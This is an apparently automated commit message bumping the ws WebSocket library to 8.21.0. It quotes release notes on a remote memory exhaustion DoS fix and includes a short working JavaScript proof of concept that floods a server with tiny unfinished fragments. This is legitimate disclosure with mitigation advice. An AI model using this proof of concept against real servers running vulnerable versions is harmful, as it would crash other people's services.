Bump ws from 8.20.1 to 8.21.0 (#61)

Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/websockets/ws/releases">ws's
releases</a>.</em></p>
<blockquote>
<h2>8.21.0</h2>
<h1>Features</h1>
<ul>
<li>Introduced the <code>maxBufferedChunks</code> and
<code>maxFragments</code> options (2b2abd45).</li>
</ul>
<h1>Bug fixes</h1>
<ul>
<li>Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).</li>
</ul>
<p>A high volume of tiny fragments and data chunks could be sent by a
peer, using
modest network traffic, to crash a <code>ws</code> server or client due
to OOM.</p>
<pre lang="js"><code>import { WebSocket, WebSocketServer } from 'ws';
<p>const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(<code>ws://localhost:${port}</code>);</p>
<p>ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});</p>
<p>ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(<code>client close - code: ${code} reason:
${reason.toString()}</code>);
});
});</p>
<p>wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(<code>server close - code: ${code} reason:
${reason.toString()}</code>);
});
});
</code></pre></p>
<p>The vulnerability was responsibly disclosed and fixed by <a
href="https://github.com/Nadav0077">Nadav Magier</a>.</p>
<p>In vulnerable versions, the issue can be mitigated by lowering the
value of the
<code>maxPayload</code> option if possible.</p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"><code>bca91ad</code></a>
[dist] 8.21.0</li>
<li><a
href="https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a"><code>2b2abd4</code></a>
[security] Limit retained message parts</li>
<li><a
href="https://github.com/websockets/ws/commit/78eabe2a6677b231bf9c82601bde86ff91639490"><code>78eabe2</code></a>
[security] Add latest vulnerability to SECURITY.md</li>
<li>See full diff in <a
href="https://github.com/websockets/ws/compare/8.20.1...8.21.0">compare
view</a></li>
</ul>
</details>
<br />

Author: cyrossignol